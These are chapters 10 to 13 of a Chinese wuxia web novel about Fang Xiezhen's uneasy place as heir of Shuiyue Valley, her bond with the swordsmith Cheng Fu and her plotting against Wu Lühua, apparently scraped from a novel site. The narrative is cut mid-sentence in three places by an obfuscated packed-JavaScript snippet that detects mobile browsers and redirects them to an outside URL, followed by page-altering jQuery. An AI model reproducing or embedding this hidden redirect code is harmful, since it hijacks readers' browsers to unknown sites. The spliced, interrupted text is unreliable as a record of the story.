偏偏一番话未完,夜空远处便响起凄绝婉转的琴声,如是从月宫中奏出。 诸人抬头望去,只见一人浑身白衣、身轻如燕地自天际踏来,便都发出声声惊叹。 直到白衣人近了,蜻蜓点水般落在一株桂花树树梢,指尖往怀中古琴轻抚一二下,才有眼尖的人惊声道出她的名号:“小琴魔!” 小琴魔,血刃峰峰主的义女,近年来名头渐大,却多半是恶名。 席中的方撷真冒了冷汗,她和血刃峰曾有交易,却不了了之。 她连招呼都没有打便违背交易,做起水月谷的少谷主。 她不指望血刃峰讲什么道德仁义,能替她保守秘密,万一小琴魔来意不善,当着几十位江湖里英的面拆穿她,她还日后如何立足! 武红英被蒙在鼓里,不知方撷真与血刃峰的交易,她问道:“琴魔姑娘不请自来,真是稀客。” 古琴泛着泠泠的清辉,小琴魔漫不经心拨弄了两下琴弦:“武少谷主找回来了,这样大的好事,武谷主也不知会血刃峰一声?” 谁会相信小琴魔只身赴宴,只为庆祝水月谷的好事? 武红英还算客气,又道:“来者是客,琴魔姑娘既来了,我水月谷自当招待。” “武谷主倒是大方,只是贵派少谷主……”小琴魔幽幽瞥向武红英身边的年轻女郎,蓦然笑问,“少谷主,不想报仇了吗?” 方撷真从未经历过这等事,自是冷汗浸身、双腿发软。 她强行打起心志,逼迫自己切莫露了怯:“小琴魔,此处是水月谷的地盘,请自重,莫要空口白牙地说胡话!” “出尔反尔背信弃义便罢了,你竟认贼做母,若方虹泉下有知,怎知她会否后悔……呃啊!是谁!” 小琴魔匆匆一番话尚未完,便在众目睽睽下露出痛苦之色。 有人隔空掷了枚石子,不偏不倚砸在她脸上! 她恼羞成怒,厉声道:“在坐的都自诩正派豪杰,谁敢暗算我!” “是琴魔姑娘话太多了。” 程芙从桂花树的阴影里走出,站在月光下,乌眸沉静:“既都是没有证据的话,不如闭上嘴。” 她的剑就负在腰间,没有出鞘的打算。 不过若有需要,她不介意割断小琴魔的琴弦。 10. 空空(4) “阿芙——” 随着满座震惊,白霓裳低喝一声,近乎耳语,命令程芙切莫冲动。 她不是全然不知情的人,程芙早将和方撷真的纠葛告知了她。 什么样的老师,教出什么样的学生,程芙“谋剑”之名远扬的时候,人们也会提起她那位有一颗七窍玲珑心的老师。 树影婆娑,立在桂花树顶的小琴魔冷笑道:“澄意山庄的风气败坏成这样?暗器伤人,真是光明正大啊!” “放屁!” 方撷真急了眼,立时跳出来反驳:“是你口说无凭污蔑我在先,程大侠路见不平罢了,何况这么多双眼睛都看着,怎就叫‘暗器伤人’,怎就不‘光明正大’了!” 她是为程芙辩,也是为自己辩。程芙美名远扬,小琴魔臭名昭著,在场的侠士,多半会偏向程芙的话为真。方撷真就是要引来东风,将火烧得更旺。 白霓裳也接过方撷真的话茬,不紧不慢说道:“武少谷主说的是。今天是水月谷的好日子,琴魔姑娘说话也没个凭据,未免太不大气了。” 满座宾客皆窃窃私语,亦不乏叫小琴魔拿出证据来的。 谷中一时纷乱嘈杂,唯潺潺溪流静谧如初。 “呵……” 忽见小琴魔笑意更甚,手指缓缓抬起,落在琴弦上。 叮—— 是琴声起了。 诸人顿时脸色大变,谁不知道血刃峰峰主修行邪术,能以琴曲蛊人心神、乱人心智,小琴魔作为其义女,若也有此能,真是不可小觑! 程芙眉心一拧,正要与师娘同时提剑,便见那古琴琴弦如轻纱帘幔一般,轻轻柔柔、松松散散地垂落。 琴弦一根根软了下去,如同桂花花蕊般散开,再不能奏响了。 方才那一瞬,诸人各有动作,目的无非是阻止小琴魔弹琴,却有一人抢在最前头动了手,又快又准地断了琴弦—— 程芙侧眸望去,不禁略微瞪大了双眸。 武红英仍扬着手腕,掌中还有数枚未能射出去的绣针。 而已经射出去的七枚,皆精准无误地割断琴弦,无一辜负。 “空口白舌污蔑小女,此为一罪;扰乱我派宴席,此为二罪;诋毁澄意山庄的程芙姑娘,此为三罪。” 说罢,武红英徐徐放下手腕,气度从容:“琴魔,水月谷不欢迎你,请回吧。” 血刃峰峰主坐下四名养子,所修武器各不相同,唯有小琴魔得他真传,以琴中剑为武器,宝剑轻长锋利,能于不经意间取人性命。 可惜小琴魔年纪轻轻,功力还不够,否则琴声一出,更是能迷惑人的心智。 武红英绝不可能让小琴魔有可乘之机。 “琴魔姑娘寡不敌众,绝无胜算。”有人适时添了一句,“姑娘若仍是不服,想比试功夫,我倒可以奉陪。” 小琴魔虽脸色煞白,却不肯被人看轻。 她是带着义父的命令来的,不能空手而归,于是她抽出琴中剑,大喝一声: “方撷真!你敢说你从来不恨武红英,从来不想杀她吗!你回到水月谷,到底意欲何为,你自己心中有数!” 剑光泠泠,银针也荡出袖中,小琴魔嗖嗖挥剑,挡住武红英再度掷来的武器。 小琴魔已足够敏锐迅捷,但仍有一根针没入她颈间。她吃痛叫了一声,捂着脖子仓皇而逃,消失在茫茫夜色中。 事已酿成,出过手的、旁观着的,除却腹诽血刃峰的举止,更在意小琴魔的那番话。 什么叫做认贼做母? 什么叫做恨武红英? 这都是哪里来的话? 尽管无人把疑虑拿到明面上来说,可她们心里都想些什么,武红英自有猜测:“小女失踪多年才回来,与我这个做母亲的,当然不如寻常人家相伴多年的母女那样亲近。可是‘认贼做母’‘复仇’,全是没有证据的混话!” 音方落,方撷真便被武红英幽幽转来的视线激得浑身发凉。 好冷的眼神,冰刀子似的割过来。 她不得不轻咳一声,将慌乱遮掩过去:“母亲待我尽心尽力,我怎会伤害母亲?血刃峰实在可恶。” 继而又有人附和,无非是说小琴魔妖女卑鄙、血刃峰邪教无耻。 到此为止,小琴魔今日闯宴之举便在明面上被定性成造谣污蔑、招惹是非。 该办的宴席还要继续,诸人却都没有先前的兴致了,尤以方撷真为甚,她几乎不敢直视武红英的眼睛。 “你和我一道向客人敬酒。” 武红英照旧是平日的声线,温和低沉:“不要畏畏缩缩的。有什么事,之后再论。” 母女二人特意选了远离宾客的地方说话,方撷真摆了可怜又委屈的神态,只盼武红英能信自己:“母亲,我没有……” 武红英重复道:“之后再论。” 夜长梦多,之后再论的东西与今日所论,兴许全然不同,方撷真还想再问,武红英却全然不理会她,径直往宴席间去了。 方撷真唯有硬着头皮追上去。 成为水月谷的少谷主前,方撷真滴酒不沾,她仅陪武红英喝过一二次,可惜无法适应酒的辛辣,武红英便不叫她再喝,今日亦然。 武红英按江湖中的辈分、名望,领着女儿依次敬酒,到程芙师徒跟前时,不免多说一二句:“方才多谢二位仗义执言。” 白霓裳是个极会说客气话的人,竟笑着与武红英聊起话来。 方撷真沉默不言,端着茶杯偷偷地凝望程芙,其实她们是彼此凝望,此时谁若有什么情绪,必逃不过另一人的眼。 因此程芙眼里的柔和就被方撷真轻易捕捉到,好新鲜、好稀奇,原来程芙也能有这样温柔的眸光。 这是心生关切时才能有的眼神,方撷真便更笃定程芙视她为友,更觉得自己在世上不是孤身一人,遂举起茶杯敬道:“谢谢白前辈和程大侠。” 武红英睨女儿一眼,若有所思,便往下一桌去了。 宴席持续的时间不长,宾客不到午夜便各自散去,住进水月谷安排的住处。 方撷真便也有了被武红英质询的机会,她仍表现得很乖,像天底下大部分长辈希望孩子表现得那样,垂眸、静默。 月影阴森森的,惨白暗淡,像桌上冷掉的茶水一般,毫无滋味。 “你自己说。”武红英敲着紫檀木茶几,慢吞吞饮一盏醒酒茶。 “我不恨母亲,我不明白小琴魔怎会说那样的话。她分明是挑拨离间,见不得我和母亲好。” 方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没有瞒留仙原上发生的事,因此白霓裳是能揣摩出方撷真的动机的,今夜事发,她更是连后续的可能性都有了猜测。 白霓裳又道:“你向来多思多虑,如今倒把这优点丢了。你以为你是仗义?你这是冲动,是盲目。若方撷真真是无辜,我自支持你,奈何她不是。” 程芙慢悠悠叠好外套,整整齐齐,砖块似的规整:“我多思多虑,师娘从前说我这是缺点,要我改。” 轻飘飘一句话,气得白霓裳两排银牙发痒,愤愤往程芙额头戳了两下:“你存心气我!” “哪有?”程芙摸了摸被戳过的额头,面色松弛,“日后水月谷和血刃峰,怕是有得闹。” 江湖纷争、门派缠斗,澄意山庄向来不插手不过问,只在尘埃落定后默默往藏书阁密室里添置卷宗。 “叫人多留心就是了,你我都是有点儿名气的人……”白霓裳顿了顿,脸颊微烫,“表面上不要太在意了。” 程芙不置可否:“师娘你那外套,我替你一并叠了吧。我叠得整齐,又快又好。” 11. 空空(5) 光熙元年。 回水月谷后,方撷真的日子很是不错,毕竟她是谷主失而复得的女儿,不出意外便是水月谷的继任人。 方虹便不同了,总有人背地里指着她的脊梁骨,暗骂她是偷孩子的贼。 她听过便忘,仿佛言语并不是能杀人的利剑,唯有那日和武红英的对话是忘不了的。 武红英要她死。 要她死在方撷真手下,付出应有的代价。 方虹一日日地煎熬,终于在某个清晨借口陪方撷真练剑,却在女儿剑锋扬起来的时候…… 一头撞了上去。 剑是她买给女儿的,如今剑锋没入她心口,洇出浓浓血色。 方虹将遗言说得很漂亮,大抵是说自己犯了错,要赎罪,要付出代价,又嘱咐方撷真千万要听谷主的话。 而后她连气都来不及咽,便被武红英着人拖走。 ——方撷真从梦里惊醒。 天幕上是惨白的月,像死人发白肿胀的脸,好像还会呼吸似的,然而方撷真侧耳细听,才知是自己的喘息声。 她大汗淋漓,枕头在梦里便哭湿了,半张脸都被眼泪磨得发红,是起了红疹,还隐隐地发痛。 小琴魔的话犹在耳侧,逼得方撷真心惊肉跳,她不得不灌下一大口冷水压惊,匆匆披上衣裳,出了门。 夜半的水月谷,时常可闻虫鸣鸟吟,若在夏天,天幕星河漫漫,树丛花圃中又有萤火流转,那可真值得入画。 方撷真走几步,停几步,兜兜转转的,竟也到了目的地。 咚咚咚,门敲了三声,门里很快现出一张和她六分相似的脸。 武红英知道,方撷真是要将真相告知她了。 一盏茶后,武红英轻轻阖上眸,似是释然了,又似是对自己猜对了真相的肯定:“你果然不信方虹死于自愿,你果然是想杀了生下你的母亲。” 分明是极恐怖的话,方撷真却长长呼出一口气:“我说完了……我心里没有秘密了。母亲可还有秘密?” “没有。”武红英脱口而出,“我告知你的,就是全部事实。” 她活了四十余年,早锤炼出一双沉着的眼,所以方撷真读不懂她的想法,唯有暂退一步:“我永远相信母亲。” 寂寥的秋夜里,谁都以为对方坦诚地吐完了话,谁都打心眼里做着不为人知的盘算——武红英不讲自己的推波助澜,方撷真不讲回魂术。 话说完了,两人表面上又是毫无隔阂的母女了,武红英承诺会摆平血刃峰的麻烦,甚至嘱咐方撷真尽快回去睡。 方撷真哪里睡得着,她又摸到程芙就寝的房间外,将门叩响。 “程姐姐。”门一开,她便喜悦地唤出声来。 门里有两双眼睛同时养着她,白霓裳愣了愣,很快便懂得了:“阿芙,早些回来睡。” 于是程芙安心又慢吞吞地出了门,随方撷真来到一片寂静处。 来年春日,此处便是清香怡人的梨花林了。 方撷真就在这片清冷孤寂里,等到了程芙的关心: “你还好吗?” 方撷真点头:“嗯,我和武红英说开了,都没事了。” 生死之仇是很难过去的,程芙不信方撷真说的是实话。 倘若是她来做母亲,那是万万容不下一个要杀自己的女儿的,即使不先下手为强,也会提防:“每一件事都说开了吗?” “能有什么说不开的?毕竟是亲母女。”方撷真笑了笑。 程芙愈发地不解,她亲娘过世的早,白霓裳就是她娘。如若她与白霓裳起了互相杀害之心,必定是心里千疮百孔地流血、痛苦凄厉地嚎叫,脑子里却紧紧地防备开。 为友人的困惑面色思忖几息后,方撷真连忙挑开话题:“还是要谢谢你为我说话。我又欠你一次恩情,该拿什么报?” “不用报的。”程芙轻轻摇头。 救命之恩难还,仗义执言亦然,千金万金都难抵得上,方撷真仅是归谷不久的少谷主,即便要拿金银财宝,也是有心无力。 两人往梨花林深处踱步,方撷真大大方方凝视程芙的侧脸,道:“我短时间内,都不会对武红英和武绿华下手。” 程芙心一颤,这便是杀心不死的意思了…… 她的睫羽颤了颤,恍惚间懂得了,她会因为和方撷真旧日的那点儿交情,冲动执言,那么方撷真自会为了与方虹的母女之情,手刃仇人。 月色下,两人的影子叠在一处,成了长长一条。 “你有你的决定,不是我一两句话能干涉的。”程芙被风吹得清醒,步伐快了些,将方撷真甩下半步距离。 两人的影子悄然分开。 方撷真却对程芙的步伐浑然不觉,只笑道:“以后我能给你写信吗?我知道你是澄意山庄的人了,便晓得信该往哪里寄了。” 程芙默然,她不喜交友,澄意山庄约有二三十人是她的平辈,可能称得上是朋友的,唯有三四人罢了。 这便致使她很少收到朋友的什么东西,生辰礼物便罢,信件则是几乎没有的,因为大家平素都住在云州,有什么事,见了面说一声便成。 程芙无所适从,半晌方委婉答道:“怕是不方便。” 收一封信而已,哪来的方不方便,难道她方撷真是什么绝世魔头,收她一封信就要走坏运?方撷真又不傻,当然…… 方撷真陡然打了个激灵,没准儿在程芙眼里,她就是魔头呢? 名门正道、前途无量、侠肝义胆的侠女,小门小派、手刃生母、本领平平的魔头…… 这两种人就不可能是知心朋友。 方撷真思绪乱得很,慌乱地征询答案:“你肯定还当我是朋友的,否则你何必呛小琴魔?” 程芙不置可否。 她从不是个随心所欲、肆意妄为的人,她的理智告诉她,近朱者赤近墨者黑,应在今夜与方撷真划分开界限。 然而话到嘴边,难开口得很。 “你不说话,我们就来比剑!” 方撷真拔出剑:“你赢,随你,我赢或是平局,你就说真心话,是好是坏都无所谓!” 她的佩剑,是方虹赠予她的礼物,祝贺她学会了第一套防身术。 程芙也不是个自信的人,她仅在和师妹裴雁晚相处时唇齿活泛些,偶尔提一提自己才是那个能做“天下第一剑客”的人,实则这话语全是姊妹间打趣。 她又意识到自己从未在方撷真面前打趣过,以后应当也不会了。 “好。”程芙也拔出剑,“我们比剑。” 方撷真曾被方虹悉心教导过两三年,仍未进步到高手水平。如今换了武红英来教,尽管有飞跃,可习武是件天长日久的事,换作世上任何一个有天才之称的人,都不可能在毫无基础的前提下,仅在短短两三年内,就追上程芙的水平。 两柄剑皆泛着光,相比方虹在武器铺子里买的普通剑器,名剑蜉蝣简直是光逼秋月、辉若星芒,剑身又薄如蝉翼,恍惚一望,还以为此剑呈透明之态。 是方撷真先出手。 她毕生的本事都用在这里了,她要赢,最不济也该是平局,如此一来,程芙就能说真心话,就能敞开心门了! 不论程芙有没有视她为真心朋友,她都认! 程芙瞧出方撷真的吃力和急躁,眉心掠过一丝不忍,她便揣着这份不忍,毫不留情地一提一劈——咔。 两人皆是愣住,方撷真甚至还保持着格挡的姿势。 她的剑断了。 咔,砰,断成两截,掉在地上。 若是生死关头,程芙已取了敌人性命,可这不是生死关头,她便有了几分惊慌,连忙捡起剑:“……抱歉,我铸剑本领很好,我会修好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159931|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方撷真猛地吸了两口气,颤颤巍巍接过断剑。 这是把很年轻的剑,出炉不过四五年,却意义非凡。 “能修好吗?”方撷真怎能不窝火?眼里已经有火星在冒了,语气却是期盼的。 “能。”这对程芙而言,轻而易举。 * 两日后,远道而来的宾客们陆续返程;又十日,程芙回到云州,着手为方撷真补剑。 云州是晴是雨,方撷真无从得知,她只知近些时日要在武红英面前做个乖女儿,将未能消除的疑心全部消去。 这一日,武红英便交了事情给她做,是小事:“谷里要造一匹弓弩,你去办。” 方撷真一下子蹦起来:“怎么办?” 武红英默了默,对女儿的态度不太满意:“木材、钢材、丝麻……你自己好生想一想。” 本是教导的话,却令方撷真不安,脊背冒起冷汗了:“母亲,我哪里不好吗?” 她为了换取武红英的信任,天真地将留仙原上那几年的身心遭遇全盘托出,以为诚实的孩子,一定能得到长辈的喜爱。 如今她便要自食恶果,成日里小心翼翼。 武红英知道方撷真的不安从何而来:“你总归要锻炼自己,将来水月谷全靠你。造弓弩不难,咱们谷里就能造,只是要到外头采买材料。你若还有不懂的,再来问我。” 由此,主理打造弓弩,就成了武红英交予方撷真做的第二件事。 方撷真倍加珍惜。 从前在骆都,她和方虹一起做些小本生意,倒也吃穿不愁,还能供她到学堂读书。 因此她跃跃欲试地领人上了街市,一家一家铺子地询问,货比三家,力求买到最合适的材料。 当晚她将成果报给武红英,武红英听完,明显地怔了下:“你是自己上街问的吗?” “否则呢?”方撷真不明白。 “倒也不必如此亲力亲为。”武红英觉得女儿在民间做普通百姓做得太久,没有驱遣过人,缺乏某方面的经验,“你大可以用少谷主的身份下令,派别人去做。” 方撷真问:“那我做什么?这不是母亲交给我的事情吗?即使我需要人来助我,也应事事把关啊。” “是方虹将你教成这样。”武红英面前搁着一张棋盘,棋盘对面却空空如也,没有坐人,“皇帝高座龙椅,不会亲查贪官污吏;将军运筹帷幄决胜千里,并非次次都冲锋陷阵。” 她掀起乌黑的眸,望向方撷真身后空旷的位置:“你也该有些少庄主的做派——进来。” 方撷真懵了一瞬,几瞬过后才知武红英是在和门外的人说话。 门从外打开,来人竟是武绿华。 姨侄四目相接的瞬间,方撷真心中的厌恶油然而生,忙辞别了武红英,抬腿便要离去。 却不想擦肩而过时,武绿华鬼魅似的轻道一句:“……好生恨我啊。” “你——!”越是缠绵的招数,越惹人恶心,方撷真怒发冲冠,胳膊一抬就向武绿华身上推,竟推了个空,还害得自己趔趄好几步,险些跌倒。 武红英拧眉,唤了声“真儿”:“要不要紧?” “娘,你是要和她下棋!”方撷真扑到母亲腿边,“她想杀我啊!她真的那么做了,还险些得逞!” 在血亲之间做抉择不是容易的事。 妹妹,相伴四十余年,却是造成此生最大痛苦的幕后黑手;女儿,千辛万苦从肚子里生出来,却仅有几个月的感情。 武红英不杀妹妹,也不会不保护女儿。 她扶起方撷真,摸了摸女儿的头:“以后你们两个,见了面,绕开走。” 方撷真脸部肌肉近乎不受控制地抖动,她眸底是愤怒的烈火,只恨烧不起武绿华这恶魔:“你等着!” “好啊,”武绿华嗓音很轻,柔柔笑道,“我等你来杀我。” 12. 翠微(1) 方撷真人出了门,心却没有走,这便使她悄摸摸往门边蹲下,等着门里的人说话。 “三年没有和姐姐下过棋了。姐姐囚我在后山,连棋盘都不给,害得我只能在沙地上划了印子,充作棋盘。” 武绿华的嗓音从来都很轻,甚至有些有气无力。 武红英道:“那你回去的时候,带上棋盘。” “……我不回去!”武绿华明显愣了下,柔和就被声线添上七八成的激动愤懑,“我是你亲妹妹!我为你分忧二十多年!” 门外,方撷真窃喜地扬了下眉,她和方虹平静的生活被打破,都是从武绿华下那道追杀令开始的——武绿华就该永远被关在后山禁闭,直到被她杀死! 继而又听武红英道:“我对你已经很好。没有杀你,仅是幽禁你。” 武绿华则颇为愤愤不平,甚至有些委屈:“我是为你好!那孽障克你,她迟早害死你!” 月华潺潺如水,方撷真索性蹲下身子,耳根贴着门继续等。偏偏不如她愿,屋里竟无人作声了,唯有烛影投来模模糊糊的痕迹。 不要紧,方撷真沉浸在武红英对武绿华的态度之中,且以此为乐,离开时简直是眉飞色舞、顾盼神飞。 如此一来,她便有百倍的力气监督弓弩的制造。 方撷真终究没有完全认同武红英的话,皇帝虽不亲查贪官污吏,可也要知道是怎么贪的,将军不必次次冲锋陷阵,但不能一辈子没杀过贼。 她不做留在谷里等别人来回报的闲人,仍是和同门们一道往城里去,货比三家,挑一家最好的原料买。 又一日下来,原料的事解决了,该打弓了。 “少谷主要学这个啊?”说话的是水月谷的匠人,不会武功,只学过机关术。他仿佛有点怕方撷真,嗓门低得很。 “我总得知道有什么工序,才能监工啊。”方撷真道。 匠人便按部就班教了一遍,于是方撷真就成了个合格的监工,至少懂得了流程:“我和你们一起打弓吧。我也学会了,能帮忙的。” “哪里用得着少谷主亲力亲为啊,”匠人连忙摆了摆手,“千万别。” 方撷真顿觉奇怪,她不清楚旁的江湖门派是什么风气,是否也和水月谷一样“等级森严”。 从前她在骆都的学堂里读书,因为学堂不收女孩子,她只是旁听,然而每每到了扫除的时候,师傅便会和学生们一起忙着,从没有因为身份就旁观的。 水月谷并不温馨的,更不其乐融融,方撷真回来好几个月,已慢慢地体悟到这一点,今日便愈发笃定。 在这种地方是交不到什么朋友的,因此方撷真依然相信,程芙就是她此生最后一个朋友。 “少谷主,”又一个匠人到了方撷真面前来,“送来的木材好像有点问题,您看怎么办?” “问我吗?”方撷真面露诧异,她旋即蹙了下眉心,不问她又问谁?她是少谷主,是武红英亲口钦点的监工,整个工坊,就属她最大。 方撷真又道:“是什么问题?你带我看看。” 匠人便带她去看那批木材,原来竟有一小部分是腐的,不能用。 方撷真的心跳起来,怒道:“竟把这样的东西拿出来卖!我找他去!” 一群人便风风火火进城和卖木材的掌柜理论,本以为很难缠,可那掌柜见方撷真身后跟着好几个人,竟爽快地认了错,替水月谷换了批木材。 方撷真和方虹就是靠做小本生意谋生,和一些黑心生意人有过来往,她知道,敢在货物上掺坏掺假的都不好对付,没想到今日这般顺利。 回谷的路上,方撷真的心始终是热的,却说不清理由。 她骑在马上往西方看,太阳快要烧尽,即将死在群山的怀抱中,它急急地迸发着一抹热光,为万山涂上今夕最后的温热。 * 云州。 一回来,程芙便着手为方撷真补剑。 亡母赠予的礼物有多重要,程芙太能体会。 她年幼时流落街头,身上就带着母亲在世时送她的一块玉,玉质混浊,很是廉价,可就是这廉价东西,居然也有人为了捉弄她,故意抢走摔碎。 每每想来,程芙都很遗憾,即便后来她遇见白霓裳,白霓裳找人修补好了那块玉,碎痕却填不平了。 澄意山庄的铸剑技艺举世闻名,只不过程芙年轻,缺少补剑的经验,还得向人讨教。 待讨教到了方法,她又不敢直接拿方撷真的断剑来试,遂寻了几把旧剑,先练妥当了,才好动手。 去山庄后山探望闭关的裴雁晚时,程芙将补剑的事说给了师妹听。 “这便难住你了?”裴雁晚坐在竹林一块巨石上打坐,脊背挺拔。 程芙斜睨她:“那你来修?” “千万别,我可没有你那本事。”裴雁晚打了记哈欠,精神头懒洋洋的,“我要午睡了。” 程芙却往师妹的右腕凝了几眼,舌根发紧,涩涩地问道:“右手怎么样?” “老样子,没什么好转,慢慢养吧。大夫虽然不说,我却觉得难了。”裴雁晚为右手受伤一事闭关已有两年,可她语气轻松,全然不似经受过打击。 程芙便细细凝视师妹的神色,当真是从容淡定,一丝遗憾畏惧也无。她仍不放心,要再试师妹的左手剑练得如何,倘若用了二十来年的右手无法康复,但能练好左手剑,也算有个安慰。 “你不是大夫,你说了不算。”程芙拔出蜉蝣,“我们比一场。” 裴雁晚闭关后,一直是她师娘和程芙在陪她习剑,程芙甚至为她铸了一把重量极轻的新剑,只为叫她的左手尽快适应。 她本要去好好睡一觉,但听见程芙的邀请,精神竟瞬间抖擞了,连忙用左手捞起佩剑:“来!” 程芙刻意让了师妹五六分,出剑的力道不重,否则太不公平:“最近我不能常来,补好了剑再说。” “你那姓方的朋友是解决不成了,你都把人家娘的遗物弄坏了。”裴雁晚笑着往前轻刺。 “我原就不想去水月谷,是你们逼我。”程芙颇有点儿意见,倘若她不千里迢迢去和方撷真解决陈年旧事,哪里用得着费心补剑。 裴雁晚不爱听这话,长眉稍拧:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159932|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有问题总要解决的。你就是喜欢逃避。” 真是巧了,她的话,程芙同样不爱听,因而剑气就在下一瞬凶狠了八分,却突然想起裴雁晚的身体,遂匆匆收紧攻势,只闷声呛道:“你能不能闭上嘴?” “那是万万闭不上,”裴雁晚忍俊不禁,非要怼程芙两句,“说两句实话你还着急。” 程芙脸一冷,蓦然收剑。 她心里有个口子被撕开,即使她晓得口子里头是什么,却从未真正承认过,如今师妹的一句话,倒是和剑气一样凌厉,刺啦,口子血淋淋地敞开,露出其中的东西来。 ……她逃避一切不想面对的事,那又怎么样呢?假如她没去水月谷,不就不用继续和方撷真纠缠了吗? 难道她逃得就一无是处吗? 程芙喉间滚了滚,避开裴雁晚澄澈的眸光:“今天就到这里。我下次再来……我没生气。” “哦,真没生气啊?”这不是此地无银三百两吗?裴雁晚遂用手肘碰了碰友人的腰腹,“下次你来,偷偷给我带壶酒,别让我师娘晓得,馋坏我了。” “嗯,知道。”程芙点了点头,才要运转轻功,袖口便被拽住。 回头,是裴雁晚拉住她,眼神平静。 “你所有事,记得和我说啊。” 程芙略微怔忡,终究没有推开她,而是等她自己松开手后,轻轻点头,再腾空而起,在后山的浓雾中消失不见。 她径直回到剑庐,反复将故意斩断的剑重炼,以求技术上的突破,更是求不辜负方撷真的期望。 剑庐每每开了炉,总是燥热难耐,又闷人得很,连带着程芙的心也静不下来,哐当,一柄剑毁在了她手上。 她怔了怔,索性扔了锤子,重重往竹编板凳上落座。 你就是喜欢逃避——程芙低下头,是吗?她真是这样的人吗?可是逃避一下又能怎么?世上谁没有懦弱退缩过?凭什么裴雁晚可以轻轻松松说出这句话? ……还说得如此精准。 在江湖里漂泊,似乎只有一往无前的勇者值得歌颂称赞,程芙听过的传奇大都如此,谁斩杀恶人是靠逃避?谁独孤求败是靠逃避? 她很想现在就回后山告诉裴雁晚,说自己不叫逃避,而是……而是什么呢? 程芙笑了笑,重新拾起锤子,还是不要自欺欺人为妙。 如今她和方撷真没有办法一刀两断了,待剑修补完成,方撷真一辈子都会珍藏从她手里铸出来的剑了。 又数日,程芙收到一封水月谷寄来的信。 信的内容很长,字写得相当漂亮。 「程姐姐,见字如晤。听闻云州入冬甚早,望你多添衣裳。补剑剑切勿着急,冬来雪厚,信使不便赶路,我不怕等到来年。」 方撷真说不急,程芙就能不着急吗? 未及新年,方撷真就收到了两样东西。 一样是信,一样是剑,而且,还有两把。 她展开信件,细细读来: 「剑已修补妥当,是我应尽之事。另一柄则是我愧疚之心。它还没有名字,它等着你为它取名。」 13.翠微(2) 在今日,方撷真有了自己的剑。 方虹教她剑法时给她的剑,是在集市里买的,唯有程芙从云州寄来的这一柄,是为她所铸,名字也由她来取,是完完整整地属于她的。 剑身泛着凛冽青光,于日光下绽出炫目光华,剑锋则好似要劈开缕缕光束般锐利,好替代今日的太阳,成为唯一的光源。 方撷真扬起剑,指向远处群山,瀑布飞溅,满山荒凉,目光里最夺目的竟是手中这柄剑。 她迫不及待挥起剑,先是方虹教她的剑法,再是程芙与武红英的……就在这一刺一劈中,剑有了名字。 却顾所来径,苍苍横翠微。 她的剑就唤作翠微。 * 光熙三年。 距将剑寄出,已过去两个月了,程芙只收到过一封来自方撷真的感谢信。方撷真信中说,她已为剑取名“翠微”,还附赠了一支梅花,说是水月谷里开得最好的那一支。 程芙不信,梅花千朵万朵,谁知哪一朵开得最好? “她又不是这个意思。” 白霓裳正在院子里晾衣赏:“你又不是没读过书,怎就品不出她的用意。” 程芙想了会儿,明白了:“原来只是嘴上说说。” “……也不是。”白霓裳不希望徒女和水月谷来往过多,但也不至于污蔑了方撷真的用意,“江南无所有,聊赠一枝春。眼下是冬天,无春可赠,便赠你一直梅花,不是很风雅吗?” 程芙不以为然,梅花处处都有,没什么好稀奇——她从不是个风雅的人,梅花是轻是重,全看是谁接受。 她未将此事放在心上,方撷真不重视两个人微末的情谊也很好,少了一段人际,对她来说反而是解脱。 然而未过几天,程芙就又收到一样东西,居然是块品相上佳的陨铁。 色泽纯净,光芒隐隐。 ……这可比一支梅花要贵重千百倍。 程芙双手捧着陨铁,走之窗边。 她理应给方撷真回信,谢方撷真的赠予。 奈何她从理智上不愿再和方撷真有来往,既然如此,就该将陨铁寄回去,最好再狠心一点,在信里告知方撷真切莫再寄东西,两人的感情到此为止。 偏偏她纠结住,倘若寄了回信,方撷真不依,又要写信来问呢? 那岂不是没个尽头了吗? ……而且程芙是真的有私心。 没有任何一个铸剑师能拒绝这等宝贝,澄意山庄虽常年收购搜集陨铁以铸造武器,程芙却很少遇见这种优越品相的。 用这等陨铁,能打出什么样的绝世宝剑来? 必是极锋利的,极轻薄的,是世间最能见血封喉了。 吹着冷风,程芙枯坐了整整半个时辰,竟拿不出一个合适的决定来。 又半日,程芙终于起身,从书架最顶层取下一只小盒子,妥善地将陨铁放入,轻轻关上锁。 * 久久等不到程芙的回信,方撷真心里是很疑惑的。 冬天过完了,总不会大雪封路耽搁了信使,可是方撷真真就什么都没收到,成日里都在空待。 她只能再写信问问,只不过措辞还没斟酌好,武红英便唤了她去。 “你听说过‘鸣金蟾’吗?” 武红英亲自给女儿斟了杯茶,这举止很是稀奇,毕竟她是个有架子的母亲。 方撷真心一颤:“鸣金蟾?从未听说过。” 她撒了谎,在她私藏的《水月秘典》里,就记录着这种唤作“鸣金”的蟾蜍。 